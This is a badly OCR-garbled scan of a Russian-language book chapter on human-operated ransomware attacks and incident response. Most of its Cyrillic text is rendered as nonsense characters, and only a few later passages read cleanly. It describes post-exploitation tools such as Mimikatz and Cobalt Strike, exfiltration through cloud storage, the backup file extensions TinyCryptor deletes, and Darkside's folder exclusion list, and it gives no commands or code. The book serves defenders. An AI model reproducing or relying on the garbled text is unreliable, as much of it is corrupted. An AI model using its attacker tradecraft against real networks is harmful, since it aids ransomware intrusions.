of all victins, 30 everyone will be able 10 recover from attack in less than an hour, If you are interested in such deal - contact us
using victizus “readine” Sle instructions

Puc. 2.6. Uadopmanmsa o6 atake Ha DLS REvil/

KoHeuHO, monydeHrne Ha4aJIbHOTO JJOCTYIIA B CETh — 3TO €IIE€ HE BCE. B OONBIIMHCTBE Cydacs
3JIOYMBINUJICHHUKAM TIPUXOJIUTCS MOBBIIIATH MPaBa JI0CTYIA, OJy4aTh YYETHBIC TAHHBIE, BBITIOJHIATh PA3BEAKY
CETU U JIPYIrUe€ JEUCTBUSA MTOCTIKCITyaTal[hHu.

[locTaKcniyaTanus

J1oCTyIl B C€Th — 3TO TOJBKO IoJiAes1a. BO MHOTHX CiyYasx 3JI0YMBIIUIICHHUKA HEAOCTATOYHO XOPOLIO 3HAKOMBI
C CETHIO Y MOJIYYarOT JOCTYII TOJIBKO K YYETHBIM 3alIUCAM C OTPAHUYECHHBIMHU [IPABaMU, & 3HAYUT, HE MOT'YT
OTKJIFOUHTH JIEMEHTHI YIIPABJIEHHS 0€30MaCHOCTHIO U IPOJABUTATHCS 10 CETH, YTOOBI OJTYUYHUTh
KOH(UICHIIMAIBHBIC TAHHBIE U PA3BEPHYTh NIPOTPAMMY-BbIMOTaTEb.

JIeCcTBUS B paMKax IMOCTAKCIUIYyaTalluy 3aBUCAT OT TUIIA J0CTyIa. HampuMep, ecinu 3J10yMbINIEHHUKU UMEOT
noctyn K VPN, OHM MOryT IpOCKaHUPOBAaTh CETh HA HAJTMYUE YSI3BUMOCTEN, KOTOPHIE o0ecneyaT um
BO3MOKHOCTB IIPOJABUKEHUS I10 HEM.

He ynupnsiiteck — npecnoByThiii sxciuionT EternalBlue (CVE-2017-0144) no cux mop 4pe3BBIYaHO
pacIpoCcTpaHeH BO MHOTHX KOPIOPATHUBHBIX CETSIX, B TOM YHCJIC HA ICMCTBUTEILHO KPYITHBIX MPEAMPHUSATHSIX.

Emre ogHa 0O4eHb pacipOCTPAHECHHAS YA3BUMOCTb, UCITOJb3YEMas Pa3JIMYHBIMU OIIEPATOPAMHU ITPOTrPaMM-
BeiMoratenieir, — Zerologon (CVE-2020-1472). Oxna mo3BoJIS€CT 3I0YMBIIIIICHHHUKAM TOIYYUTh JOCTYH K
KOHTPOJUIEPY JOMEHA B HECKOJIBKO IIEITYKOB MBIIIBIO.

3JI0YMBIIIJICHHUKH, KOTOPBIE TPUMEHSIOT Pa3JIMYHbIC TPOSHBI, OOBIYHO HAYMHAIOT C MCIIOJIb30BAHUS BCTPOCHHBIX
cepBrucoB Windows JiJisl JMarHOCTUKHM CETHU M CITY>KOBI KaTajioroB Active Directory, Takux Kak net.exe, nltest u
1p., @ 3aTEM HOJIB3YIOTCSI CTOPOHHUMM MHCTPYMEHTAMHU, 3arpy’>KaeMbIMHU Ha CKOMIIPOMETHPOBAHHBIA XOCT.
HaubOomee pacnpocTpaHeHHbIE HHCTPYMEHTHI:

. AdFind
. Bloodhound (Sharphound)
. ADRecon

DTH UHCTPYMEHTHI MO3BOJISIIOT COOMpATh MHPOPMAILIMIO O ITOJb30BATESAX U I'PYMIIaX, KOMIBIOTEPAX, MOJACETIX,
IpaBax JIOCTYyIIa K JOMEHAM U J1aKe BBISABJIATH JTOBEPUTEIIbLHBIC OTHOIIIEHUS BHYTpHU Active Directory.

Ecin B3TOMIIUKY TTOJYYHIM JOCTYH K CKOMOPOMETHPOBAHHOMY Y371y 10 RDP, OHM 0OBIYHO MCHOIB3YIOT
IIAPOKHUI HA0OOP HHCTPYMEHTOB — OT CETEBBIX CKAHEPOB J0 JAMIIEpOB Maposeii. BoT HeKOoTophie camble
paCpPOCTPAHEHHBIE UHCTPYMEHTHI:

. SoftPerfect Network Scanner
. Advanced IP Scanner

. Mimikatz

. LaZagne

. Process Hacker

. ProcDump

. NLBrute

B HEKOTOpBIX Caydasx, OCOOCHHO €CJIY 3JI0YMBIIIJICHHUKH YK€ UMEIOT IIepBOHAYAJIBHBIN JOCTYI K CEPBEPY, OHU
MOI'YT IIOYTH CPaA3y INOJIYHUTDb YUCTHLIC JAHHBIC C IIOBBIIICHHBIMHU IIPpABAMH, UCIIOJB3YA YaCTH 3aI'PYKCHHOI'O
Ha60pa HNHCTPYMCHTOB, HAIIPUMCP, AJIsI CO3AAdHMNA CHUMKA IIAMATH IIPOLICCCa CepBHca IIPOBCPKHU ITOMAIINHHOCTH
nokaipHOM cucTeMbl Oe3omacuoctH (Local Security Authority Subsystem Service, LSASS).

Jlpyras TUIIn4Has XapaKTepUCTHKA COBPEMEHHBIX aTaK IMPOrpaMM-BbIMOTaTelICH, yIIpaBiIsIeMbIX YeJIOBEKOM, —
MHTCHCUBHOE HMCIOJIb30BAHNE PA3IMIHBIX (PPEHMBOPKOB MOCTIKCIIyaTalluU. S MOYTH YBEPEH, UTO BBI CIBIIIAIN
o Cobalt Strike. 910 camblii pacpocTpaHeHHBIN PPEUMBOPK, HCHOIB3YEMBbIN HE TOJBKO KMOECPIPECTYIMHUKAMU,
HO U XaKepaMH, ACHCTBYIOIIUMU I10 3aKa3y IOCyAapCTB.



Ho 310 TOnBKO OJHWH M3 IIPUMCPOB. PC&FI/IPYH Ha aTaKHu C UCIIOJIb30BAHNCM HpOFpaMM'BBIMOFaTGHGfI, BbI MO’KCTC
TAKXKC CTOJIKHYTBCA C:

Metasploit
PowerShell Empire
CrackMapExec
Koadic

. PoshC2

[Togo00HBIE CEpBUCHI MO3BOJISIIOT OIlepaTOpaM NporpaMM-BbIMOraTelIeH pellaTh pa3IndHbIC 3a4a4l: CKAaHUPOBAaTh
CETh, MOBBIIIATH MPaBa JIOCTYIIA, BBITPYXKATh YUETHBIC IAHHBIC, 3arPYyKaTh U 3aIyCKaTh CTOPOHHUE UHCTPYMEHTHI
U CIICHApHH, TOPU3OHTAIBLHO MTEPEMENIATHCS 10 CETH C MCIOJIb30BAHUEM PA3JIUYHBIX METOJIOB U MHOTO€ APYTOE.

Emre oauH BaXXKHBIN 1IAr 3J10YMBIIIEHHUKOB — 00€CIICUYEHHUE PE3EPBHOrO JI0CTyIA. B 4acTHOCTH, OHM MOTYT
PACIIPOCTPAHATH TPOSAHBI, KOTOPHIEC YK€ UCTIOJIb30BAIIUCH IS IOJYYCHHUS IEPBOHAYAIIBHOIO I0CTYIA, 3aIyCKaTh
3JIEMEHTHI (DPEHMBOPKOB MOCTIKCIUTyaTAIlMU HA YAAJCHHBIX XOCTaX U J1aX€ YCTAaHABJIMBATh HA OTACIbHbIC
CEpPBEPHI C JOCTYIIOM B HHTEPHET JICTUTUMHOE IMPOTPaMMHOE 00€CIICUECHUE JJISI YAAJIEHHOIO JOCTYIIa, TAKOE KaK
TeamViewer.

Kak TOJIbKO 3710YMBIIIJIEHHUKHU JIOCTATOYHO XOPOIIO U3Yy4YaT CETh, B KOTOPYIO MPOHUKIIH, U TTOJIYyYaT
[IOBBILLICHHBIE IPaBa, OHU MOT'YT HPUCTYIIUTH K JOCTMKEHUIO OCHOBHBIX II€JIEM — KPa)Xe JaHHBIX U
Pa3BEPTHIBAHUIO TIPOTPAMM-BBIMOTATENIEN.

KpaXxa gaHHBIX

Kpaxy JaHHBIX HHOT/Ia HA3bIBAIOT YTEUKON JaHHBIX, SKCIIOPTOM JIAHHBIX WMJIA 3KCHUIbTPAIIMEH JaHHBIX, U OHA
YPE3BbIYANHO TIOMYJISIPHA CPEAU ONEPATOPOB MporpamMM-BeIMorareneu. [lpakrnuecku y BCex 3710 yMbIIIJIEHHUKOB,
CBSI3aHHBIX C aTaKaMU MMPOTrPaMM-BBIMOTATEECH, YIIPABISIEMbIX YEJTOBEKOM, €CTh COOCTBEHHBIE CAUThI YTEUKHU
nanHbix (Data Leak Site, DLS). Onu ny0auKyrOT Ha Takux BeO-caliTax HH(QOpMAILIUMIO 00 YCIEHIHBIX aTakax — U
AK€ cCaMH YKPAaJCHHBIE JJAHHBIC, €CJIM KOMIIAHUST OTKa3bIBACTCS TIATUTH BBIKYII.

O0BbeM yKpaJeHHBIX JaHHBIX MOKET OBITh CaMBIM Pa3HBIM. B HEKOTOPBIX CIIydasX 3TO BCETO HECKOJIBKO
rura0amT, B Ipyrux — TepadanThl. DKCHUIBTPOBAHHBIC JAHHBIE MOT'YT BKJIIOYaTh HH()OPMALIUIO O KPEIUTHBIX
KapTax, HOMepa coaibHoro cTpaxoBanus (anria. Social Security numbers, coxp. SSN), nepcoHanbHbBIC JaHHBIC
(Personal Identifiable Information, Pll), 3amumennyio meaumuuackyro nadopmanuto (Protected Health
Information, PHI) u nanmonanbabie naeHTHPUKATOPHI TOCTaBITMKOB MeaunuHckux yeayr (National Provider
Identifiers, NPI) u He orpanmdeHbl YacTHON 1 KOH(PHUICHIIMAIBHON NH(GOpMAaIeH KOMIIaHHH.

Ha pucynke 2.7 npuBenen npumep DLS nmporpammber-BeiMoratess Conti.

BOJILIIMHCTBO TaKUX BE€O-CAaWTOB PACIIONOKEHBI B TAPKHETE, U IOCTYIl K HUM MOXHO IOJYYUTh, HAIIpUMED, Yepe3
Opay3zep Tor. Eciu Bbl XOTHTE OTCJIEKMBATh MN3MEHEHHUS HAa TAKKMX CalTax ¢ MOMOIIBIO OOBIYHOTO BeO-0Opay3epa,
PEKOMEHIyeM HCIIOJIb30BaTh mpoekT Ransomwatch (https://www.ransomwatch.org/). Otor Be6-caiit
ABTOMAaTHYECKH CHUMAET M MyOJIMKYET CKPMHIIOTHI akTUBHBIX DLS, mpruHaaiexammux pa3IiduHbIM oreparopam
IIPOTPAMM-BbIMOIaTEJIEM.
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310YMBIIUIEHHUKU MOTYT IIOTPATUTh JTOBOJILHO MHOTO BPEMEHU HA U3BJICYCHUE JAHHBIX U3 B3JIOMAHHOM CETH —
MHOT/1a HECKOJIbKO MECSIIEB. 3a 3TO BpeMsI OHM MOT'YT HaWTH HanOoJiee KOH(PUACHIINAIbHBIC TAHHBIC U
00€CIEeUnTh JOTOJIHUTEIBHBIE CPEJICTBA YAAJIEHHOTO I0CTYNAa K CKOMIIPOMETUPOBAHHOM CETH HA CJIydal, €ClIu
METO/ IIEPBOHAYAJIBHOTO JIOCTYIa OYAET PACKPBIT U JOCTYIT 3a0JI0KMPOBaH.

Kak npaBuiio, IpuMeHsI€TCS OAUH U3 ABYX MOJAXOJ0B K 3KC(OUIbTPALMK JaHHBIX. B IIepBOM ciy4yae MpecTyIIHUKU
MOTYT HACTPOUTH I 3TOM LEJIU CEPBEP UIIU UCIIOJIB30BATH TE )KE CEPBEPHI, C KOTOPHIX OCYILECTBIAIACH aTaKa,
— HaIpuMep, C ITOMOIIbI0 (PPEMMBOPKOB ITOCTIKCILTYaTalIUH.

B 5THX ciydasx 3710yMBIIUICHHUKHA OOBIYHO KPaayT JaHHBIC C IIOMOIIBIO JIETAIbHBIX HHCTPYMEHTOB, TAKUX
kak WINSCP unu FileZilla. O6HapyxuTh Takue HHCTPYMEHTHI MOKET OBITh UpE3BBIYaHO CIIOKHO, OCOOSHHO
€CIIM B COCTaBE CIYKOBI O€30IMACHOCTH OpraHU3aIliK HET CIICIUAIbHOU IPYIITEl MOHUTOPHHTA, KOTOpas
IIOCTOSTHHO BeJia Obl aKTUBHBIM IOMCK YI'PO3.

Kak mpaBuio, JaHHBIC CHavYalla Hy>KHO COOpaTh, HO B HEKOTOPBIX CIyYasX UX MOXKHO M3BJICUb IIPSIMO C
(baliJIOBOro cepBepa — Aa)ke 0€3 apXuBaIUH.

JIpyroi moaxoa — HUCIOJIL30BaTh OOIICAOCTYITHBIE 00JIaunHble Xpanuiunina, Takue kak MEGA, DropMeFiles u
Ip. DTH K€ XpaHUJINUINA 3JI0YMBIIIJICHHUKA MOT'YT MCIOJIb30BaTh A1 NyOIMKalMK JaHHBIX Ha cBoux DLS.

Tak BRINISAAST JaHHBIE, YKPAJACHHbIC 3JI0YMBIIIJICHHUKAMM, HCIIOJIb3YIOIIMMHU IIpOrpaMMy-BeIMoOrareib Everest, u
3arpykeHHble B DropMeFiles.

List of files:
£ DOWNLOAD ALL
FILE NAME SIZE
aic.rar 516G8 < =

File retention period: prior to 18:17 01.09.21

Fie upload date: 18:17 02.08.21

o %, 9, & DOWNLOAD ALL

Puc. 2.8. YKpajaeHHbIC JaHHbBIC, ONYOJHMKOBAHHKIC 3JI0YMBIIIICHHUKAMHU, HCIIOJIb3YIOIUMU IIPOrpaMMy-
BbIMOTareib Everest

YtoOBI BRITPYKaTh JaHHBIC TAKUM CIIOCOOOM, 3JI0YMBIIIICHHUKNA MOTYT HCIIOJBb30BaTh OOBIUHBIN BEO-Opay3ep
WJIH, B HEKOTOPBIX CIIy4asX, COOTBETCTBYIOIIME KINCHTCKHE IpUIoKeHus . Hampumep, ormepaTopsl IporpaMMBbI-
BeiMoratelit Nefilim mpocto yeranosnmm MEGASYNC Ha 1ielIeBoOii XOCT U BRITPYKaId JaHHBIE C €TI0 IIOMOIIBIO.



Jlpyroit spkuii mpumep: maptaepbl Mount Locker ncmonb3oBanu i Kpaku COOpaHHBIX JaHHBIX XPaHUIINIIC
Amazon S3. AWS u ipyrue 0071a4HbI€ PEUICHUSI MOTYT OBITh XOPOIIUM IMOJACIIOPHEM 11 KPYITHBIX KpaK
JTAHHBIX, TAK YTO UCIOJb30BAHUE TAKUX PEIICHUN 0€3 HAJICKAILETO YIIPABICHUS U HaJ30pa — OOJIbIIas
MTOMOIIb 3JI0YMBIIIJICHHUKAM.

Kak ToJIbKO BCe KOH(PHUICHIIMAIBHBIE JaHHBIE (M0 KpalHEW MEpe C TOUKH 3PEHUS 3JI0YMBIIIJICHHUKOB)
M3BJICYCHBI, CETh KEPTBBI TOTOBA K PA3BEPTHIBAHUIO TPOTPAMMBI-BBIMOTATES.

PasBepThiBaHHE IPOrpaMM-BbIMOraTeJ/ien

Kak BbI rymaeTe, KTO 3JICHIIUK Bpar oreparopa nporpaMmbi-BeIMOraresis? BepHo, pe3epBHbIE KOITMU — €CJIH
OHH 3alIUIICHBI OT B3J0Ma U XpaHATCsA B Oe3omacHoM Mecte. Ho y HuX ecTh gocagHoe ciaadoe MecTo —
3JIOYMBIIIJIEHHUKW MOTYT UX yIAJIUTh.

K coxxasieHuto, CUCTEeMHBIE aIMUHUCTPATOPHI YaCTO HE MOMHST HU O NpaBujie 3—2—1 (Tpu pe3epBHbIC KOITUM HA
ABYX Pa3HBIX HOCUTEAX, OAUH U3 KOTOPBIX HAXOJAUTCS BHE MPEANPHUSITHS ), HU O HEOOXOIUMOCTH UMETh
OTJICJIbHBIC YUYETHBIC 3aUCH U UCITOJIb30BAaTh MHOTO(AKTOPHYIO ayTeHTU(DUKAITUIO JJIs1 CEPBEPOB PE3EPBHOIO
KOMUPOBaHUs. A Bellb CErO/IHS HaljIexkaliee odecreueHre 0€30MacHOCTH PE3EPBHBIX KOMUN BaXKHO HE TOJIBKO
JUISL 3aI0MTHI OT MPOTPAMM-BBIMOTATENIEH, HO U JJIsl COOTBETCTBUSA OPTraHU3allii OTPACIEBBIM HOPMATUBHBIM
TpeOOBaAHUSIM.

YeMm s10 rpozut? OOafas npaBaMu aAMUHUCTPATOPA JTIOMEHA, 3JIOYMBIIUJIEHHUKHA CMOTYT JIETKO TOJIYyYUTh
IOCTYII K CEpBEPaM PE3EPBHOIO KOIIMPOBAHUS U CTEPETh BCE JOCTYIHbIE pe3epBHbIe Konmuu. [1ocie atoro y
KOMITAaHUHU-’KEPTBBI HE OCTAHETCS JPYroro BbIOOpa, KpOME KakK 3aIlJIaTUTh BBIKYII.

HexkoTopsie nmporpaMMbI-BRIMOTAaTEI UMEIOT BCTPOCHHBIE BO3MOKHOCTH ISl YIQJICHUS (PailjIoB C pacIlIupEeHUEM
TUIIUYHBIX PEIICHUM PE3ePBHOI0 KONIMPOBaHUA. BOT, HallpuMep, CIMCOK pacIIupEeHUN pe3epBHBIX (PailioB,
ctupaembix TinyCryptor:

. .vbm
. .vib
. .vbk
. .bkf
. .vib
. .vim
. .ISO

B03M03KHO, BBl 3Ha€TE O TOM, YTO olepaliMoHHas cucteMa Windows uMeeT BCTpOCHHbBIN MEXaHU3M PE3EPBHOIO
KomupoBaHus, Ha3eiBaeMbIiii Volume Shadow Copy Service. On co3gaet pe3epBHEIC KOIUH (haiIoOB U JaxKe
TOMOB, YTOOBI 0OJIb30BATEIb MOI' BOCCTAHOBUTbD JIAHHBIC J10 IPEKHETO COCTOSHUSL.

Pazymeercs, onepaTopsl MporpaMM-BbIMOraTee o0paTuiu BHUMaHue Ha 3Ty QyHKIuo Windows —
OOJILIIMHCTBO MPOTIPaMM-BbIMOTraTEIe OTKIOYAIOT €€ U YAAISIOT JOCTYITHBIE KOIHH.

Pe3epBHBIE KONTMU — HE €IMHCTBEHHBIN Bpar ONepaTropoB IPpOorpaMM-BbIMOTATENEH. Ellle 0JIMH — IpOrpaMMHbIE
pelIeHUs ISl o0ecrneueHrs: 0€30IMaCHOCTH, KOTOPbIE MOTYT JIETKO 3a0JI0KHPOBATh BBIIIOJHEHHUE IIPOTrPaMM-
BBIMOTATENEH, €CITU, KOHEYHO, Pad0TAIOT MPAaBUIIBHO.

3II0YMBIIUIEHHUKHA MOTYT J00ABUTh IPOrPaMMYy-BbIMOIaTeIb B UCKIIOUCHHUS WIIM IIPOCTO OTKIIOUYUTh
umeroteecs 3anurHoe [10. Ha aTom 3Tamne y 3710 yMBIIIIEHHUKOB OOBIYHO €CTh YUYETHBIC IIpaBa aAMUHHCTpaTOpa
JOMEHA, ITO3TOMY JIJIs IOCTHIKEHUS CBOCH 1M OHM MOTYT pa3BepThIBaTh MaKETHBIC CIICHAPHH,
MaHHUITYJUPYIOIIME TPYNIOBBIMH MOJUTHKaMHU. KOHEUHO, 3TO HE € ITMHCTBEHHBIM CIIOCO0 — MOKHO OTKJIFOUHUTH
porpaMMHoOe oOecIieueHue JIJIsl 0€30IIaCHOCTH C €ro K€ KOHCOJIbHOI0 HHTepdeiica.

CylIlIEeCTBYIOT pa3IMYHbIE METOAbI Pa3BEPTHIBAHUS IIPOrpaMM-BbIMOTaTeNeH, BKIOYasi K3MEHEHUE IPYIITOBBIX
MOJIUTHUK, UCIIOJIb30BaHue PsExec nim gake pydHoe KOMUPOBAHUE U 3aITyCK — HA YCMOTPEHHUE
KHOEepHpPEeCTYITHUKOB.

EH.[C OJHUH BaKHBI MOMEHT — CHUCTEMa J0JIZKHA OCTaBaATLhCA HOCTYHHOﬁ, YTOOBI KEPTBA MOI'JIa ITOJIYUYUTDb
SJICKTPOHHOC ITUCbMO HMJIM CCBUIKY Ha IIOPTaJd AJIsA CBA3HW CO 3JIOYMbLIIIIICHHUKAMMH. Bot IIOYEMY MHOT'HC



IIPOTPaMMBbI-BEIMOTATEIN TIO0ABIISIOT B UCKIIOUCHUS CIIMCOK CHCTEMHBIX Marnok. Huke mpuBeieH CIucok
MCKITFOUCHHI TTporpamMMbl-BeiMorartens Darkside:

Srecycle.bin

. config.msi

. Swindows.~bt
. Swindows.~ws
. windows

. appdata

. application data
. boot

. google

. mozilla

. program files

. program files (x86)
. programdata

. system volume information
. tor browser

. windows.old

. intel

. msocache

. perflogs

. x64dbg

. public

. all users

. default

HTepecHo, 9TO B CIIUCKE ecTh mamka tor browser. Jlemo B Tom, uto y Darkside 0611 mopTan maiist >kepTB B
JapKHETE, TOCTYII K KOTOPOMY BO3MOKEH TOJIBKO uepe3 opayzep Tor.

[Tocne pa3BepThIBaHUS ITPOrPaMMBbI-BBIMOTATEIIS 3710 YMBIIIIICHHUKH TOTOBBI OOCYIUTH C )KEPTBOM CYMMY
BbIKYyIIa. ITHOT1a TPEOYIOT BBIKYI OTJIEIBLHO 3a ACMMU(POBKY U OTACIBHO — 3a YJAJICHUE YKPAJCHHBIX JaHHBIX.

HMHorpa araka Ha 3TOM HE 3aKaHYMBAETCs. Harmpumep, U3BECTHO, YTO 3JIOYMBIILIEHHUKH, CBI3aHHBIE C TPYIIIION
REvil, npopoasar DDoS-aTaku IpOTUB KEPTB, KOTOPHIE OTKA3bIBAKOTCS IJIATUTh.

BBIBO ABbI

Tenepp y Bac €cTh 4E€TKOE IPEACTABICHHE 00 ATanax TUIIOBBIX aTak C UCIIOJb30BAHUEM MPOTPaMM-BbIMOTaTEeIICH.
Pazymeercs, ¢ TOUKH 3pE€HUS TAKTUK, TEXHUK U MIPOLEAYP TAKUE aTAKU MOTYT CHJILHO Pa3IndaThCs, HO OCHOBHbIE
1I€JIM TIOYTH BCETrJIa OJHU U T€ JKE: MOJIYYUTh IOJHBIA KOHTPOJIb HAJl IOMEHOM, YKPacTh Han0oJiee [ICHHBIC
KOH(HUIeHIIMAJIbHBIEC JaHHBIC U pa3BEPHYTh IPOrPaMMY-BbIMOTaTENb.

B cinenyroieii riiaBe Mbl paCCMOTPHUM IIPOLECC pearunpoOBaHUs HA MHIIUACHTHI M IIECTh ATAlOB PearupOBaHMs Ha
COBPEMEHHBIC aTaKM C UCIIOJb30BAaHUEM IPOrpaMM-BbIMOTaTENICH.

[naBa 3

MPOLIECC PEATMPOBAHUS
HA UHIAJAEHTBI



Bbl y)ke nMeeTe HEII0X0€ MPEACTABICHUE O COBPEMEHHBIX aTakax C MCIIOJIb30BAHUEM MPOTPaMM-BbBIMOTaTEIICH,
a 3HAYUT, II0pa pa3oopaThCs B MPOIECCE pearnpOBaHUs HAa MHIIUCHTHI. AHAIN3 IIPOLIECCOB MOKET MTOKA3aThCs
HEMHOTO CKYYHBIM, HO Pa30UpaThCi B HUX OYECHb BaXKHO — 3TO MOMOKET BaM 00JI€€ ONEPATUBHO pearupoBaTh Ha
WHIIWICHTHI.

MpbI HE OyJIeM OCTaHaBJIMBAThCS Ha BEIIAX, O KOTOPBIX BbI YK€ 3HAeTE. BMECTO 3TOro Mbl pacCMOTPpUM
KJIACCUYECKHH MPOIECC PearnpoBaHusl HA HHIMACHTHI, pa3padoTaHHbId HanmoHambHBIM HHCTUTYTOM CTaHAAPTOB
u texaonoruii CIIIA (National Institute of Standards and Technology, NIST), B koHTekcTe aTak ¢
HNCITIOJIB30OBAHNCM HpOFpaMM-BBIMOFaTGJIGﬁ — C€CTCCTBCHHO, C NCIIOJIb3OBAHHUCM PCAJIbHBIX IIPUMCPOB N OIIbITA.

DTOT mpolecc ObLI IpeACcTaBieH B «PyKOBOACTBE 110 padOTE ¢ MHIUJICHTAMH KOMIIBIOTEPHON O€30ITaCHOCTH
(Computer Security Incident Handling Guide9) ITomxom Iuxoncku, Tomom Mumtapom, Tumom I'pancom u Kapen
Ckapdone. J1o cux 1op MHOTHE I'PYNIIbl pEaripoOBaHUs HA HHIUACHTHI 10 BCEMY MHUPY ITOCTOSIHHO HUCITOJIb3YIOT
€ro B CBOEi IpakTuke. Sl He coOuparoch MepecKa3blBaTh 37€Ch ATy CTAThIO — S IIOJICIIOCH CBOMM MHEHHUEM U
ONBITOM, YTOOBI BBl MOTJIM JY4II€ MOHSTH €€, KOrja OyJIeTe YNTaTh WU NEPECYNTHIBATD.

B 3TOM r;1aBe Mbl paCCMOTPHUM BCe 3Tallbl
npouecca pearupoBaHuda HA UHIIUJAEHTbI U
3aTPOHEM cJieAyolie TeMbl:

[MoarotoBKa K MHUMOEHTaM.

ObHapy*KeHMe N aHa/In3 yrpos.

CoepXmBaHue, yCTpaHEHUE U BOCCTAHOBJ/IEHME.
[lenctemA nocne MHUMAEHTA.

[loaroTOBKA K MHIIUJIEHTAM

[ToaroroBka — »XU3HEHHO BaXKHAs 4aCTh IIPOIIECCA PEArUPOBAHUA HA UHIUACHTHI. PeUb UAET HE TOJBKO O
KoMaHze, HO 1 00 atakoBaHHOM U T-undpactpykrype. IIpeacraBbTe, 4TO BbI JOKHBI OTpEarupoBaTh Ha
WHIIWJICHT, CBSI3aHHBIN C IPOrpaMMaMH-BbIMOIraTe MU, HO Ballla MHPPACTPYKTypa MOJHOCTHIO 3alIM(POBaHA U B
Hel padoTaroT TOJBKO 0a30BbIM YPOBEHD KYPHAIMPOBAHUS U AaHTUBUPYCHOE MPOTPaMMHOE 00eCieueHHUE. 3BYUHUT
Myrarolie, HO KUMEHHO TaK OOCTOSIN Jieda CO MHOTMMM MHIIWJICHTaMM, KOTOPBIE MHE JI0BEJIOCH pacCyie0BaTh, —
KOMITAaHWUH HE TyMaroT O CBOEH 0€30IMaCHOCTH, ITOKa HE MoaayT Mo yaap.

OuyeHb BaXKHO MPUNUTH K OCO3HAHMIO TOTO, UTO Ballleit HHPPACTPYKType HE XBaTaeT CPEJACTB KOHTPOJIS
Oe3onacHocTH U Jirojaek. YToObl yOeqUTHCS B 3TOM, HE HY>KHO JKJaTh PEaIbHOTO MHIMICHTa — BO MHOTHUX
ClIydasix JOCTATOYHO CJieJIaTh MPOCTOM TECT Ha MPOHUKHOBEHHUE,

HekoTopble KOMIIAaHUU HE 3ayMBIBAIOTCS O O€30MTACHOCTH JAXK€ MOCJIE YCIENIHOW aTakKu C UCIIOJIb30BAHUEM
IporpamMM-BbIMOTaTeNIeh. SpKuil MpuMep — aBCTpaIUKCKas TPpaHCIIOPTHO-JIorucTrueckas kommanus Toll Group.
B ¢eBpanie 2020 r. 3Ta KOMIIaHUS MOABEPIIACH aTAKE CO CTOPOHBI OIIEPATOPOB IIPOrPAMMbBI-BBIMOIaTEIA
Netwalker. B mae Toll Group BepHy1ace K HOpMaJIbHOM padOTE, U €€ TYT K€ YCIIEIIHO aTaKkoBaja JApyras rpyima
— Ha 3TOT pa3 CBsI3aHHAas C MporpaMmmoi-BeiMorareneM Nefilim.

Kak Buaure, MAp IpOrpaMM-BBIMOTATENIEW OYE€Hb arpPECCUBEH, IMTO3TOMY MOJArOTOBKA KOMaHAbl U 1T-
MH(QPACTPYKTYPHI K yIrpo3aM KpailHE BakKHa.

KomaHaa

Ha camom JACJIC HC 00s13aTEIILHO UMETH I'pyiily p€arupoBaHus Ha HHIIMICHTBI B IITATC OPraHU3allnN. Takue
YCIIYTI' OKAa3bIBAlOT MHOI'HC CCPBUCHBIC KOMIIAHUH, KOTOPBLIC IIPOBOIAT I/II[GHTH(l)I/IKaHHIO N aHaJIN3, a TAKXKC
IpeaAOCTaBISIIOT HHCTPYKIHHU 110 YCTPAHCHHUIO HOCJ’IGI[CTBHﬁ.



KpomMme Toro, opranusaius MOKET BOCIIOJIb30BaThCs YCAyraMU OJJHOM M3 CTOPOHHHUX KOMAH]I YIIPaBICHUS
sammuToi om3neca (Managed Detection and Response, MDR), koTopble BBITOIHSIIOT MOHUTOPHHT U
pearupoBaHue.

KoHeuHo, eciiu 3To He00X0MMO, TPYINY PearupoBaHUs Ha HHIUACHTHI MOKHO CO3/1aTh BHYTPHU KOMIIAHUHN KaK
qacTh CIYKObI 0€30IMaCHOCTH WJIM BHYTPEHHETO OIepaIimOHHOI0 IIeHTpa 6e3omacHoctH (Security Operations

Center, SOC).

Hpexczle BCCT'O0 TaKas KOMaH/a JOJKHA KMCThb BO3MOKHOCTb PCAarupoOBaTh HAa MHIITUACHTHI. BoOT 4T0 3TO 3HAUUT:

. CnocobHocTb cobmpaTtb AaHHble. B xoae pearnpoBaHMA Ha MHUWMAEHTbl O4EHb Ba*KHO MMETb BO3MOXHOCTb
cobunpatb Heobxoammble AaHHble — OT e AUHMUYHOTrO apTedaKTa 3anyLEeHHOro npoLuecca A0 NOJIHOro
ypHana cobbitm nnm pannos peectpa. Bot noyemy mbl Bcerga ncnosibayem cobCTBeHHOE pacllMpeHHoe
peweHne ana obHapykeHus n pearnposaHua (Extended Detection and Response, XDR), Group-IB MXDR —
M 3TO INLWb OAMH NPUMEP U3 MHOXKECTBA PeLUeHUN, NpeacTaBNAeHHbIX Ha PbliHKe. BaXHO, 4TObbI BbIOpaHHOE
pelieHne no3BoaAI0 CNeanTb 3a Bcer MHOPACTPYKTYPOUr, cobupaTb AaHHble C IOOOro XocTa u npu
HEeobXxoAMMOCTM BbIMONHATb NPOAKTMBHbLIN NOUCK yrpo3. [paBaa, HEKOTOPbIE U3 3TUX 33434 MOXKHO PELLUUTb
Pa3BEePTbIBAHUEM PA3/IMYHbIX CKPUNTOB, HO TAKOM NOAX0A, MOXKET OblTb MeHee 3PPEKTUBHBIM U
3HAYUTE/NIbHO YBE/IMYNTb BPeMA pearmnpoBaHMA Ha UHUUAEHT.

. CnocobHocTb aHann3mnpoBaTb AaHHble. COOp AaHHbIX Ba*KeH, HO aHaAn3 euwe BaxKHee. laHHbie XDR moryT
COKOHOMMUTb BaM MHOTO BpemMeHU, HO, eC/1In OHU HeAO0CTYMHbl, BaM NMPUAETCA UCMNO/Ib30BaTb Pa3/iINdHbIE
MHCTPYMEHTbI UMPPOBOU KPUMUHANUCTUKN, KaK KOMMEPYECKUE, TaK U HaxoaAWMeca B OTKPbITOM AOCTyne.
TaKne MHCTPYMEHTbI MOBbILWAKT CKOPOCTb 06PabOTKM, HO, K COXKANEHUIO, OHU HE MOTYT YCKOPWUTb aHaNn3 —
BeAb aHaNM3 aTaK C UCMOb30BAHMEM NMPOrpaMm-BbIMOraTesien, Kak U CaMu 3TK aTakun, BCerga BbINOJIHAETCA
4yesnioBekoM. Elle oamMH BarKHbIM MOMEHT — HeobXxoanm A0CTYN K XOPOLMM UCTOYHUKAM MHPOPMALIMK O
Knbepyrposax: OH YCKOPUT aHaNN3 N MOMOMKET JIy4Llle NOHATb, YTO MMEHHO Bbl UlleTe. HakoHeu, TpebyeTca
obyyeHue. Ero MmoKHO NpoBOAUTL B pPa3HbIX GOopmax: noa PyKOBOACTBOM MHCTPYKTOPA, NO 3apaHee
3aMMCaHHOMY BMAEO0, C MOMOLLbIO BEOMHAPOB — NOIE3HO AaXKe NMPOCTO NOYUTATb XOPOLLUUI OTHET UJIN KHUTY
